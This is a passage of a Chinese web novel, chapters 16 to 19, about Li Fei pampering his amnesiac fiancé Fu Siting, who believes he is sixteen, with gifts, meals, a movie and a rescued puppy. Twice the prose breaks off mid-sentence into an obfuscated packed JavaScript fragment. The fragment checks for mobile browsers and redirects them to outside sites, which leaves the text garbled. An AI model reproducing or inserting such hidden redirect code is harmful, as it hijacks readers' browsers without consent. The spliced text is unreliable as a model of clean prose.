十六岁的傅斯霆,是那个正在匮乏痛苦中挣扎的少年。 他懂事,自持,平静地压抑。他什么都没有,更不敢有欲望。他有太多不安,以至于补偿这件事对他来说反而感觉会有些可怕。 突然得到太多,只会加重他的不安。 厉非有一瞬间真的感谢自己曾经演过的那些戏。 毕竟以他的成长环境,是肯定没有办法第一时间细微体察到傅斯霆的心情。好在他演过一个这样的角色——一个和十六岁傅斯霆很像的,贫穷坚韧、委屈折磨,大半部剧都在痛苦挣扎的角色。 他曾为演好这个复杂的角色,去看了很多相关的书,在租来的小黑屋中无数次模拟角色的处境和心情。 才能够稍微体会一点点,他的世界有多难。 “那……今天就挑一件。” 他轻声说:“就挑一件带走好不好?作为纪念品,小一些的也可以。” “毕竟,说好了从今天开始养你的。” “就让哥哥送你第一件小礼物?” 17.第 17 章 事实证明,循循善诱有效,傅斯霆勉强点了头。 但他还是很给厉非省钱,没有去看最喜欢的大型场景,而真的去看了最小的。 最后他站在一只手办小狐狸前,不走了。 厉非:“……” “没什么,”他止不住笑了笑:“你的杯子、玩偶、都是小狐狸,就这么喜欢小狐狸啊。” “倒也是,聪明狡黠的红毛小狗,谁又不喜欢呢?” 傅斯霆点了点头,心里却在恍惚“红毛小狗”又是什么奇怪的形容词。难道二十八岁的自己从来没有告诉过厉非,他到底为什么喜欢小狐狸吗…… 也是,理由毕竟有点羞于启齿。 傅斯霆其实不是喜欢小狐狸,而是,小狐狸就是他自己。 ……倒也不是说他身上有什么像狐狸的地方,只是因为在他心里,厉非是小王子。 那个B612星球上的小王子。 但傅斯霆知道,自己一辈子也不可能是那个故事里小王子钟爱的玫瑰花。 他就只能是遥远的、坚强的、爱而不得的那只小狐狸。 在傅斯霆曾经的幻想里,或许将来有一天他长大了、有了工作和收入,也能有机会去一两次后台,和厉非见到面、说上两句话。 他大概会绝望而隐晦地抓住那一点点机会,向他表达深藏的爱意,然后厉非大概会笑笑,像对着无数可爱的粉丝一样,礼貌跟他道谢。 他还会贪心地小声一句,可不可以握一下手。厉非跟他握手,然后两人分开。 从此狐狸就记着那被小王子短暂指尖接触的温度,幸福地度过了一生。 …… 乐高粉红小狐被放进透明盒子里。 傅斯霆透过塑料罩,看着小狐的白围脖和尾巴上的白毛尖尖,很开心。 怎么能不开心。后来小狐狸真的遇到了小王子,得到了想也不敢想的拥抱、宠溺和纵容,小王子还送了他一只乐高小狐狸,他得到了那么多。 开心得整个人都有点难过了。 他正捧着小狐狸发呆,忽然另一个小盒子也被放在了手里。厉非说:“我也买一个。” “……” 另一只盒子里的是一只黑猫。 是那种特别高傲、带眼影的埃及法老猫,但不知道为什么,明明是埃及猫,却又戴了一只完全不是埃及风格的西式小王冠。 “这样,就有黑猫王子和小狐狸一起玩了,就不是一只孤孤单单狐。” 傅斯霆愣愣的。 两只小可爱一起放在袋子里。明明并不重,傅斯霆却觉得手里沉甸甸的。 一路指尖都很烫。 一直以来,小狐狸只能远远仰望星空。从来没有想过,王子会变成小黑猫……和他一起玩。 …… 逛完玩具,厉非要带傅斯霆去看表。 傅斯霆:“……” 厉非:“行,不给你买,我去试试总行了吧?” 没想到傅斯霆继续摇头,态度非常坚决。把厉非给弄笑了,小霆这么有防备心啊。 傅斯霆就是有防备心。 他虽然穷,但也是有一些常识的。人们总说成熟男人品味和财力的一个最重要体现就是手腕。几万块的衣服就可以被认为是奢侈品,但一块表轻轻松松可以几百万。 厉非就曾经给一个高奢手表拍过宣传。 傅斯霆印象很深,那块表厚重精工,戴在当时还是少年的厉非手腕上有一种奇异的成熟性感。当时班上同学拿着杂志叽叽喳喳讨论,说厉非戴的这支要三百多万。 三百多万,差点没直接给傅斯霆干出心理阴影。 他连三万都没见过。 所以他坚决不去看表,他有小狐狸和小黑猫就够了,非常够了。万一真去看,厉非再一时兴起非要给他来一块几百万的,他怕他当场暴毙。 但,等等。 傅斯霆突然想到,今早在家里那巨大的衣帽间里,除了衣服他似乎还看到了整整两个大玻璃抽屉的配饰。 有袖扣、项链什么的,被漂亮的灯照着很耀眼。 他也没仔细看,但一眼扫过去至少也有七八块表吧,都重工且漂亮。 “……”不会那里面,也有什么天价表??? 登时手心都凉了。 直到厉非妥协,表示那去看看衣服,傅斯霆才悄悄松了口气。 结果一进男装店,他就果断被厉非丢了五六套:“去试。” 傅斯霆:“……”那一刻表情很复杂。 厉非微笑:“是,说好了‘最多只买一套’。但正因为就一套,才要仔细挑啊!” 之后半个小时,傅斯霆依次换上了复古风格的格纹西装、纯黑色燕尾服、浅蓝色休闲牛仔套、黑色白男大运动风、硬朗的工装套…… “……” 没有人带他像模像样地买过衣服。 他以前的衣服都是在小商品市场淘来的。几十块的衣服未必料子就不好,但版型剪裁肯定是没有的,穿在身上大多松垮垮。 不像这里每一件的剪裁,都那么贴合身材。 适合的衣服就会显得人精神气更足。试着试着,傅斯霆都见到了好几种从未见过风格的自己。 最后敲定买下的那套棕色格纹猎装,更是他从来没有想过的气质。店员帮他把头发斜往后梳,让他看起来很像是电影里那种天生特权又为富不仁的英伦公子哥,有种不顾他人死活的豪横。 “……” 要不是亲眼看见,傅斯霆也很难相信,他还能看起来那么贵。 “……” 去饭店的路上,傅斯霆有些沉默。 “傅小霆,在想什么?” 衣服虽然远没有手表贵,但也不便宜。突然被叫回神,傅斯霆有些难以启齿:“我……” 他是又在胡思乱想了,他在想网上一种说法的可能性。虽然大多数他和厉非的视频底下评论都是嗑生嗑死,但也有少量并不那么和谐。 说他配不上厉非的评论,傅斯霆倒不难接受。但他介意有人指责他靠吸血厉非发财。 还有人信誓旦旦,说在国外商场遇到过他们,说傅斯霆从头到脚买了一堆,全都是厉非刷卡。 “……” “我之前,也常……让你像这样给我买东西吗?” “……” “傅小霆,”厉非扶额,“我们在一起确实是我刷卡。但非要说的话,那是因为你身上根本没钱。” “因为你的卡全在我这里。” “是你自己上交的,要还给你吗?” “……” “……” 傅斯霆赶紧摇头。 感谢市井人生常识,让他小小年纪就知道什么叫“上交工资卡”……还好,二十八岁的傅斯霆再不懂事,至少知道交卡! 厉非默默看他脸上悄然变换的表情。 …… 中午饭在商场顶楼的一家有名的泰国菜馆。 傅斯霆第一次吃泰国菜。 咖喱牛肉,咖喱蟹,冬阴功汤,炭烤猪颈肉,菠萝海鲜炒饭……太好吃了怎么那么好吃他就没吃过这么好吃的东西。 厉非托着腮眯着眼看他。 其实这家口味是改良的,比正宗的泰国菜甜。但果然小孩子更喜欢这种。 下午的安排是去看一场电影。 去影院的一路,傅斯霆脸上没什么表情,内心却隐隐期待。 他这辈子唯一看过的一场大荧幕上的电影,就是学校组织的那一场《重春》。他真的很幸运,一生中的唯一一场电影,他就看到了厉非。 当然,那次电影最让他印象深刻的除了厉非之外,就是影院柜台卖的十块一桶的爆米花了。 真的好香。 他当年的同学里,不乏很多爆米花随便买的人。电影开场后,奶油的香味就在空气中一直飘荡到结尾。 “……”他认真在想,如果今天这场电影,厉非可以给他买一桶爆米花。 他是不是就真的死而无憾了。 这种想法其实十分离谱,傅斯霆也知道。明明这个世界上现在能让他死而无憾的东西那么多,无论是刚才的泰国菜,提在手里的小狐和小猫,还是和厉非在一起的每分每秒。 可他明明已经拥有了这样至高无上的、梦一样的幸福,这一刻他却还在诚挚地忧愁—— 忧愁刚才泰国菜是不是吃的太多,厉非会不会觉得他已经饱了,看电影时就不再给他买爆米花。 他明明什么都有了。 为什么还能为这点事纠结??? …… 片刻后,傅斯霆迎来了人生更艰难的抉择。 连接电影院与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996933|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅的商场通道,竟是食品区,卖什么的都有。冻酸奶、泡芙甜点、巧克力、炸鸡、披萨…… 他真的只是不小心多看了雪糕店一眼。 厉非:“想吃雪糕?” 傅斯霆小时候只吃过一次妈妈买回来的棒冰,硬硬的凉凉的。而像这种各种颜色做成球的雪糕,他就只在商场看过,看起来也很诱人,但价格实在太让人望而却步了。 可现在,厉非问吃不吃。 这一刻傅斯霆认真地犹豫了。他当然也想吃,可是不是吃了雪糕,爆米花就彻底没戏了。但万一不吃雪糕也吃不到爆米花…… 他犹豫着,厉非直接去买了。 “你胃怕凉,所以每种口味只准尝一口,行吗?” 傅斯霆赶紧点头,他倒也没有那么贪心,能尝到一个口味他都满足了。 万万没想到,厉非直接拿十八个球。 “……” 傅斯霆抬眼看了看招牌,有人是把这家店的所有口味都拿了。看他发呆,厉非笑笑:“没事,都是小球,能吃完不会浪费。” 但十八个小球也不少了,一共堆了整整两盘可丽饼。 厉非挖了一匙:“来,先尝一口经典蔓越莓朗姆味。” 淡淡酒香混着奶香味,酸酸甜甜融化在口腔,人间美味不过如此。 傅斯霆垂下眸,能够清楚感到血脉的跃动。 再一次真实地感觉到了……洋溢的幸福。 那感觉很难形容,好像整个人都彻底活了过来。但这种说法也很可笑,他本来就活着,这么多年没有冰淇淋也都活得好好的。 甚至冰淇淋这种食物,在他的渴望排序里都排不到前十。 所以真的很奇怪。 明明刚才的泰国菜也好吃,口感更丰富。海鲜自助也好吃,外卖红烧肉也好吃,厉非亲手做的早餐也好吃。 可偏偏就是这一刻,他感受到了沉浸的、压倒性的、无与伦比的幸福。 那是一种活过来的,可以呼吸的真实感。 傅斯霆低头,默默一一品尝了手里的所有口味,又把自己的拿去跟厉非的交换。 明明说好每颗只吃一口。 但巧克力口味他还是吃了两口,第二口是厉非喂给他的。 电影是科幻片。 傅斯霆夸下海口说他英文很好的,其实真的看也稍微有点吃力、云里雾里。 但爆米花真香。 厉非给他买了焦糖、起司和海盐三种混合的。爆米花在口里融化的感觉很奇特,他一颗一颗仔细吃,嚼的很慢。 昏暗的光下,厉非默默记下,傅小霆最喜欢起司口味。 因为起司的最先吃完。 厉非一向是习惯把喜欢的东西放在最后享用的那种人,但或许也是因为他从小有特权,喜欢的东西很少有人能跟他抢。 而傅斯霆,喜欢的东西不马上吃完,可能就再也吃不到了。 看完电影两人就回家了,取车的路上,有人在卖很可爱的小恐龙氦气球。 厉非给傅斯霆买了一只,系在他手腕上。小恐龙在上面跳,花花绿绿的。 傅斯霆依旧没什么表情,只是指尖悄悄颤抖了一下。路上他偶尔又在猫猫仰望星空,望着小恐龙。 “傅小霆,你要习惯,我以后也还会送你东西。”厉非说。 今天不过只送了他两件手办和一套衣服,傅斯霆就明显有些压力了。 可这样怎么行呢。 “说好了养你。” “我想给十六岁的傅小霆,他本来应该拥有的东西。” “……” 虽然,这样做到底对不对,其实厉非也不知道。 有的时候补偿是一种治愈,但何尝不是再次碰触旧伤。厉非也会担心,他这么做会不会反而弄疼他。 帮傅斯霆扣好安全带后,车里安静了片刻。 然后,肩膀一沉。 厉非看不到傅斯霆的表情,只听他低声说:“嗯。” “那些东西,傅斯霆现在有了。” 十六岁的傅斯霆,终于第一次有人带他买新衣服、请他吃好吃的,给他买玩具。让他看到幸福生活的吉光片羽。 回到家,小恐龙一直在房顶蹦跳。 那么快乐地飘来飘去。像是一只千疮百孔的人生上茁壮成长的霸王龙花。 18.第 18 章 那晚厉非洗完澡出来,赫然发现傅斯霆正直挺挺等在门口。 阴魂不散的样子,很像回家第一夜抱着小恐龙来找他的样子。 “……” “怎么了?小霆有什么话想说?” 傅斯霆沉默。 他的沉默和难猜厉非现在都习以为常了。正在飞速想怎么诱哄,僵硬的人突然开口:“今天……我是真的很开心。” 他沉默片刻,补充道:“之前也很开心。” “这几天,一直很开心。” “……” “谢谢你。” 厉非愣了愣,很会藏匿心情的小霆也有突然很坦诚的时候。 但这好像已是他的极限了。 他说完这些后,又僵在那不动了。就在厉非觉得一切已经难能可贵的时候,他突然又主动伸出双手,非常硬地,轻轻抱了厉非一下。 “……” 厉非演过很多片,诠释过很多很复杂的感情。却没有一刻像现在这么地…… 上床以后,傅斯霆竟还难得主动往他身边凑了凑。 厉非干脆像早上一样捉住了他,把他往怀里一搂。傅斯霆片刻僵硬后,这次很快放松身体,然后第一次就这么毫无防备地,在他怀里甜甜地睡了。 “……” “…………” 好吧,今天轮到厉非睡不着了。 至少此刻是困意全无。他认真看看怀里的傅斯霆。嗯,不管失忆不失忆,都那么可爱。 厉非在他头发上轻轻吻了一下。 是亲吻十六岁的傅小霆,也是亲吻他那失忆了的笨蛋未婚夫。 明天……搞什么节目呢? …… 这一晚傅斯霆睡得特别特别香。 早上醒来时,已经天光大亮。厉非还没有醒,他就这么安静窝在厉非怀里,听着他平稳的心跳,以及自己那加速的,乱七八糟的声音。 半晌,他动了动,厉非还是没有醒。 他默默期待小王子的醒来。 期待他和昨天一样,迷迷糊糊对他上下其手。 人的贪心真的不能随意滋养,傅斯霆突然发现……他现在竟开始理所当然地,生出很多很多欲念。 一会儿,厉非醒了。 他和昨天一样迷迷糊糊的。捧起傅斯霆的脸,眼睛半睁着不对焦。然后凑过去,怼着鼻子一通乱揉。 傅斯霆:“……” 傅斯霆:“………………” 他还以为要被亲了。 很糟糕。 这样下去,他真的只会一天天的,滋生出更多更大、更要命的贪心。 半小时后厉非才真的醒了,但他今天却赖了床,不太愿意起。 傅斯霆默默有点新奇。 他才后知后觉地发现,一直以来厉非给人的感觉,都是很厉害、游刃有余,但是并不“放松”。 傅斯霆很难形容那种感觉,就是厉非整体给人的印象,就是一个很精确的人。 不会迟到,不会出错,不会赖床,不会发疯。好像时时刻刻都是清醒且一丝不苟的状态。 那样的厉非应该不太会……大清早搂着他的腰,在他胸口毫无意义地蹭。更不会用半醒不醒的语调,在他怀里困困地咕哝: “好饿,但是一点都不想起来做饭……” “……” “而且我做的也不好吃,一点都不想吃。” “……” 傅斯霆想了想,突然口有些干:“那今天,我来做早饭好不好?” 厉非声音听起来困困的:“嗯?” “我会做饭,我来做。” “嗯……但小霆不是失忆了,还具备做早饭的技能吗?” 傅斯霆点点头:“我可以的。” …… 厉非又得逞了。 骗失忆的男友去做饭,他可真是不做人。 但站在厉非的角度,谁让同居两年,一直都是傅斯霆做饭喂养他?傅斯霆做饭超级好吃,把他的味觉早就养刁了。 由奢入俭难。一个星期连续的煎鸡蛋、煎培根类白人饭,傅斯霆没吃崩溃厉非都要吃崩溃了。 更糟糕的是他们这儿的配套管家因为是白人,也只会做白人饭。 厉非后来是宁可点外卖也不让管家做饭了。 在他看来白人味觉都跟有问题似的,放糖就巨甜,芝士就齁咸,肉又烧得腻,什么味同嚼蜡的东西都咽得下! 综上所述,尽管骗失忆的、十六岁的男高去做饭很残忍。 但对他不残忍,就是对自己的残忍! 话虽如此,厉非还是装了一下好人:“真的可以吗?会不会勉强。不然还是点个外卖吧,你想吃什么?汉堡?” 手机被握住。 傅斯霆眼神坚定:“我做。” 傅斯霆很擅长用普通的食材做出美味的东西。毕竟他的人生快乐有趣的事情也不多,吃于是成了其中很重要的,一件能够带来些微幸福的事情。 最简单、快捷、他又最拿手的早餐,就是鸡蛋饼。 只要一些面,几只鸡蛋,一些油和糖,煎到微焦一些的火候。傅斯霆万万没想到这么熟稔的自己,竟会在厨房遇到困难—— 他过于擅长家里要点几次才能燃的煤气灶和缺了口变形的小铁锅了。反而此刻对着这奢华大厨房里一系列的专业级的高档多功能燃气灶具和厨具……有一种茫然感。 他更没想过,他做个饭还有啦啦队。 他刚拿起锅,厉非就从背后给他系上围裙。他刚敲鸡蛋,厉非就他递橄榄油。他开始搅拌,厉非就坐在旁边的橱柜上看,基本上傅斯霆每动一下,都有夸夸。 “看看我们小霆打鸡蛋面糊,就是永远那么丝滑。” “我们小霆的火候一向最精准可控。” “嗯——好香。” 男人都是傻狗,一夸就上头。 傅斯霆手速都快了很多,毕竟他从小自己做饭,做了十年也从来没有人夸过他。 第一次掌勺是什么时候?傅斯霆想想,大概是六岁吧。 自从五岁那年外婆去世后,他就得自己做饭了。 江月萍反正是没给他做过一顿饭的,傅斯霆依稀的印象中,外婆去世后那一年,她喂他的一直各种买来的馒头、花卷、油饼,偶尔也有不加装饰的鸡蛋糕。 只有各种各样的面制品。傅斯霆一年几乎都没有吃到肉和蔬菜,十分营养不良。 等他回过神来,他已经在试着拿冰箱里那些蔫了吧唧的肉和菜,学着外婆做饭的样子,试着拿锅弄熟了。 六岁的傅斯霆就这样学会了自己做饭。同时学会的还有补旧衣服,拿强力胶粘鞋等等。甚至偶尔家里没有了米面,他为了填饱肚子还会从零钱罐里拿几十个硬币,然后拖着不知哪里捡来的工地小推车,搬回家成口袋的米面。 当然,一个穿着旧衣服,破鞋子,一个人买面的六岁孩子,在邻里街坊中还是太过显眼了。 风言风语很快就来。大家常在背后窃窃私语,说他妈江月萍自私自利。只顾着自己在外头找男人逍遥快活,根本不管那么小的孩子。 大人们逗傅斯霆说你妈妈不爱你,不要你了。 说你妈妈就是个水性杨花的坏女人。 那时傅斯霆还小,听他们这么说,真的会一个人躲在无人的家里对着剥落的墙角偷偷哭。 可渐渐长大,他却开始在那些人面前维护自己的妈妈。 她确实经常不在家。 但至少不像他爸一样直接跑了。她不照顾他,但至少还会买点东西,也给他一点零用钱,让他不至于挨饿。 只是她爱他好像确实没有爱外面的那些男人多。每次只有被甩了,她才会痛定思痛回到家里小住一段,在那段日子里,她也会适当地扮演一个亲切的好妈妈。 江月萍年轻的时候相当漂亮。 之所以能在和傅斯霆爸分手后还结了四次,就是因为她美,勾勾手指就有男人源源不断。 可美貌常常又没用。 江月萍自己也想不通,那些她勾勾手指就来的男人,明明每一个她都菟丝花一样紧紧攀附了,却为什么一个都抓不住。 虽然外面都传她水性杨花,但江月萍其实并不是那种一脚踏两船的女人。 她非常专一,缠男人总是很紧,动不动就夺命连环call。 可她这种美女都这么主动了,男人们却往往都喜欢占完了便宜就开始嫌她泼、嫌她疯,迫不及待甩掉她。 总是这样的循环,江月萍自己也想不通,天天哭着骂:“男人没一个好东西。” 她也不知多少次抱着小小的傅斯霆哭着说她以后再也不找男人了,一辈子就跟着儿子过。可转天过去,还是一遇到新男人就昏头。 弄得小小的傅斯霆才七八岁就早早明白,有些人发誓你就纯当耳旁风,一句都别信就好。 锅里咕噜噜,鸡蛋饼煎好了。 即使厨具不熟,他随便一煎仍旧是最好的火候、金灿灿的微焦鸡蛋饼完美出炉。 端饭上桌,傅斯霆尽力把江月萍的那些事藏在脑后。 厉非居然还给他的鸡蛋饼郑重了拍照。 “……”左一张,右一张。鸡蛋饼何德何能。拍完终于夹起来,咬上一大口。 “好吃!” 傅斯霆耳朵红了,眼里泛出浅浅笑意。 谁说苦难没意义?十几年孤孤单单做饭,在这一刻全部有了回报。原来B612星的小王子,也会爱吃他做的鸡蛋饼,吃得那么香。 总算有点浅浅的心安。 这些天,他其实常常会想,厉非到底看上将来的自己什么。 是,二十八岁时的傅斯霆是长得还行,也有事业。条件不差,可不要忘了厉非从小身在的是什么地方。 他本身就在娱乐圈,同时还在富豪圈。这两个圈子里随便拉个人过来哪个不帅哪个不美,哪个身材不好,哪个没有大把的钱? 厉非从小就是被整个世界最顶尖、最光鲜亮丽的人包围的。傅斯霆跟那些人比并没有必然优势,到底凭什么脱颖而出? 他一直都没有找到答案。 但至少,厉非爱吃他做的食物。 这么一想傅斯霆眼里都有了光彩,因为他不仅可以做早饭,午餐晚餐也都会烧,保证色香味俱全。 哦,他洗衣服纯手洗,也都能洗得特别干净!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15005940|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 然而事实上厉非家是没有给他当灰少年洗碗和洗衣服的机会的。 Golden Oak的专任管家每天定点会来,买菜备菜洗衣洗碗之类的都会处理好。 吃完饭,厉非推了推他:“选件好活动的衣服,收拾收拾出门了。” 但他还没有告诉傅斯霆今天的活动内容。 会是什么?直到上了车,傅斯霆才忍不住终于问。 “哦,是去接狗。” “……” “上个月咱们去逛中华城,你捡到的脏兮兮的小流浪。一身的病,还有虫,放在宠物医院治了一个月才好,之前就定的今天去接。” 他抬眼,突然发现傅斯霆表情在一瞬间特别难以形容。 “……” “怎么,高中时候的傅斯霆不喜欢小狗?” 不是。 不是的,他喜欢。 他特别喜欢小狗! 他很想养小狗的,一直一直都想养。 小时候家里特别冷清,他特别希望能有一只小狗陪伴。可那个家实在好像又没有什么条件去养活一条小狗,他也怕照顾不了,就这么过去了很多年。 而现在,他终于要有小狗了? 宠物医院很快到了,傅斯霆心跳剧烈看着医院里那么多笼子。直到医生抱出来一只比巴掌大不了太多的奶狗,抱到他面前。 那完完全全,就是傅斯霆梦想中的小狗。 他做梦想要养的小狗,就是这种介于奶白和奶黄之间的短毛小土狗。他还曾经想过,要给这样的小狗取名叫名芝士。 因为他从小到大吃到过印象最深的东西,就是一小块芝士面包。 是小学春游时发的,又甜又咸又香,是他从来没有尝试过的、难以忘怀的美好滋味。 …… 小狗毛茸茸的身体微微颤抖,眼睛里带着几分怯生生。 傅斯霆的心一下就软了下来,试探着伸出手,小狗却只呜呜想躲。 那一瞬,他明明被小狗胖身子一扭的样子可爱到,可胸口又有些难以压抑的酸涩,眼眶跟着一烫。 手无措地停在半空,直到厉非也伸出了手。 不愧是童话世界的王子,只是一伸手,小动物就自动眨巴着圆溜溜的眼睛靠来了,随便他摸。 厉非轻易就把小狗抱了起来:“乖,不怕。” “来,傅小霆,摸吧。” 小狗在厉非怀里终于不再躲闪。傅斯霆也小心翼翼终于成功触到带着体温的柔软的毛发。 厉非又拿起小狗爪子:“傅小霆,伸手。” 小狗爪落进掌心,非常不真实的触感。厉非又看向台子上的一包狗零食:“你喂喂它。” “……” 狗的小舌头是湿润的,舔食物的时候,顺便舔了傅斯霆。 一包小零食吃完,厉非把小狗递给他:“现在可以抱了。” “……” 狗狗的身体看着小,抱起来就更小。 却充满活力,小狗也似乎终于感受到了傅斯霆的善意,用毛茸茸人的脑袋蹭了蹭他的手,发出呜呜的声音。傅斯霆就那样僵硬抱着小狗,眼眶烫得随时要掉下泪来。 回到家后,小狗吃饱喝足,趴在落地窗旁的小毯子上睡着了。 傅斯霆还在恍惚。 明明几天前,他的人生还暗无天日,为什么现在会这么幸福。 小狗打着呼噜,他小声问厉非:“给它取什么名字好?” 厉非想了想:“芝士?你之前说过想这么叫它。” 傅斯霆安静了片刻,听见自己的呼吸声:“真的,可以吗。” 厉非眯起黑瞳:“‘芝士就是力量’,不是很好?” 傅斯霆心满意足。 下午小狗睡醒了,醒来就闯祸。 一眼看不到就把管家刚插好的花瓶弄打了,红色的营养液弄了一身。 傅斯霆:“我来洗!” 小狗洗澡时特别不乖。傅斯霆在浴室一次次给它逮回来。狗没洗完,染料反而弄了自己一身。 “……” “乖,乖,”他只能轻轻摁住小狗,柔声哄,“我知道你以前过得不好,不喜欢水。但真的得洗,再忍一下,嗯?” 傅斯霆花了将近两个小时,成功完成洗狗吹狗,完了精疲力尽躺在沙发上。 忽然有个奇怪的念头,会不会在厉非眼里,十六岁的自己也会像一只不乖的、应激的受伤小狗? 黄昏,傅斯霆又带小狗去花园里撒欢了一圈。 小狗欢快地跑在前面,时不时回头看看,确保他还在,然后才又继续向前探索。 傅斯霆耐心地一路跟着,本来也没有期待什么。 可是小狗给他捡回了一颗松果,还呜呜地蹭他的裤腿求抱。 他最后是抱着小狗回房的。之后整个晚上,小狗都肚皮摊开在他腿上舒服地闭着眼,四肢偶尔还会惬意地蹬一蹬。 傅斯霆:“……” 他不说话,也不敢动。抬眼,厉非看向这边时,也是满满看着可爱之物的眼神。 是吧,小狗真的很可爱。 他好像真的,什么都有了…… 19.第 19 章 当晚,傅斯霆洗完澡出来,看到厉非一如既往就着床头灯在看书。 只是今天他戴了一副眼镜。 一副连了条长长链条的……金丝边眼镜。 傅斯霆:“……” 傅斯霆:“………………” 一瞬间,连卧室的空气都稀薄了。他呼吸骤然艰涩,无言默默上床,本来挺困的,现在一点都不困了。 厉非眼神从书上移开,装作不经意看过来。 果然这世上就没有什么人,会对“衣冠禽兽”“斯文败类”有像样的抵抗力。 他默默看傅斯霆辗转反侧,直到他躁动得差不多了。才缓缓俯身,镜链垂落:“傅小霆,怎么不睡?” 是,他又不做人。 厉非就不信,他这样还降维打击不了十六岁的傅斯霆。 是,他是答应重新养小霆。但养归养,难道真的要把男朋友养成弟弟? 尽管那样或许对十六岁傅斯霆的身心健康更有益。 可现在的情况已经是,十六岁的傅斯霆对他始终无动于衷不说,还看狗都比看他情深。 请问谁来管管他的身心健康? 昏黄灯光下。 他不过是凑过去,傅斯霆呼吸就乱了,眼神更是明显失焦。 厉非暗自得意,黑瞳看着青年,势在必得又问了一遍:“怎么不睡,在想什么?” “我……想问。” 傅斯霆吞了吞口水,目光下移,正对上厉非的锁骨,以及最有质感的黑色浴袍。整个一滞。 厉非等着。 “我想问……芝士宝宝它,可以不可以上我们的床。” 厉非:“……” 厉非:“………………” “不许。”=_=# 果然不行。 傅斯霆想想也是。虽然厉非对他无比纵容,但也不是什么都能纵容的。 “也是,小狗傍晚还跑去花园里玩了,爪子脏兮兮的。” 而且家里早就买好了狗窝,三角形软绵绵的,拆出来给芝士睡刚刚好。小狗也喜欢。总不能真让小脏爪来随便采脏他们的床垫。 傅斯霆认真反省。其实这几天他睡在这床上,就挺亵渎的了。 厉非:“……” 他真的服了。 高中生真可怕。天真无邪,纯得可怕! 所以这些天的牵手、抚摸、拥抱、暗戳戳的诱惑,对他一点用都没有是吗?多余他还上了战袍,还用了金丝边杀器。 有人满脑子想着的就只有抱狗上床? 有一瞬间厉非直接懒得理这人了,男高惹不起。 但默默躺了一会儿,他又不这么想了。要破防大家一起破防。 “不是因为爪子。” “嗯?” “不是因为小狗爪子脏。”厉非说。 已经晚上十一点了,窗外树影摇荡,夏天的风微微燥热。厉非在黑暗中冷着脸,直直把傅斯霆捉到怀里,直到摸到他耳朵确确实实瞬间烫了,心情才稍微变好一些。 “傅斯霆,你听好。芝士上床也不是不可以。” “但在这个家里,被养的小动物就只有一只能上床。它上的话,另外一只就不许上了。” “你考虑清楚。” “小动物”趴在他怀里反应了好一会儿。淡淡月光下,厉非甚至看到他有一瞬间还露出了很像真·小动物一般满足、受宠若惊的表情。 大概又趴了十分钟,傅斯霆才回过味来。 他呼吸僵了一下:“不是。” “嗯?” “我不是……小……”他不是小动物。 急了。 终于急了。 厉非一把摁住他挣扎的动作:“开玩笑呢,我怎么可能真把小霆当小动物养?” “……” “我当然是在把小霆当……亲弟弟养。” “或者,以我们现在的年龄差,是当成亲侄子养?” 屋里骤然安静。 有人死死抿唇,不说话了。 厉非终于赢了。金丝边熟男降维诱惑不了男高?那至少熟男欺负起男高小霆,能信手拈来吧。 【三句话,让傅小霆炸毛给你看。】 …… 互相伤害的世界达成了。 十六岁小霆是真的很气,都不来牵他的手腕了。 行,有骨气。 有人本质是阴暗倔种,不管十六岁岁还是二十八岁。 厉非不惯着他。反正赢了,他先睡了! 迷迷糊糊,有人闷闷地、悄悄摸向手腕。厉非堕入梦乡前得意勾了勾唇角。 …… 隔天厉非醒来,抱枕小霆居然不在怀里。床另一边空荡荡的。 厉非皱眉,满别墅找人。 厨房里有很香的味道。保温台上是色香味俱全的早餐,小霆给他煮了皮蛋瘦肉粥,一盘小煎饺旁还有酱油画的太阳和笑脸。 “……”厉非愣了片刻。 有些人跨越十二年,小习惯并没有变。总喜欢用酱料给他画点什么可爱的东西。 花园里,小狗一大早就在阳光下追着蝴蝶撒欢了。 厉非往下看,可傅斯霆也不在它身边。 最后厉非是在玩具房找到的傅斯霆。他正坐在地上默默摆乐高,背影有点寂寥。 正确来说,他应该是在给新来的小黑猫和小狐狸找栖身之所。 在众多同样积木拼接而成的街景、城堡里,他试了很多地方,无论怎么摆,小猫和小狐总是牵着爪。 二十八岁的傅斯霆,每次惹厉非不高兴了,也都会把家里那些成对的娃娃摆在一起,摆在特别显眼的位置。 厉非看见了,也就很难再气起来。 “……” 他突然懊悔自己昨晚说的那些话。 非常懊悔。 他真是……活回去了,干嘛要跟失忆病人一般见识。男高理解不了他的魅力就算了,和他同龄的傅斯霆能理解不就够了? 到底在较什么劲。傅小霆本来就自闭,怎么还欺负他。 傅斯霆最后放下小猫小狐地方,是他前年花了几个月拼好的一座巨大的中华美食街里。 小猫小狐手拿着糖葫芦和粽子,走在熙熙攘攘的亭台楼阁下,路过热腾腾的包子铺门口。 …… 傅斯霆在玩具房一直坐到十点。 厉非还没有醒吗? 如果醒了,是还不想理他吗…… 最后他实在太孤单,只能自己走出房间,卧室也早就空荡荡的。 他的心也跟着空了一下,就这么失魂落魄走到客厅。 然后对着桌子上面堆的海量零食,骤然睁大了眼睛。 雅致的白色童话风桌子,已经快要被山呼海啸一样多的零食袋给淹没了。花花绿绿的袋袋罐罐层层叠叠,相互挤压。光傅斯霆粗略看见的,就有鼓囊囊的薯片的包装,透明精致的巧克力的罐子,晶莹剔透的果冻塑料杯,印着小熊的铁盒饼干…… 傅斯霆:“……” 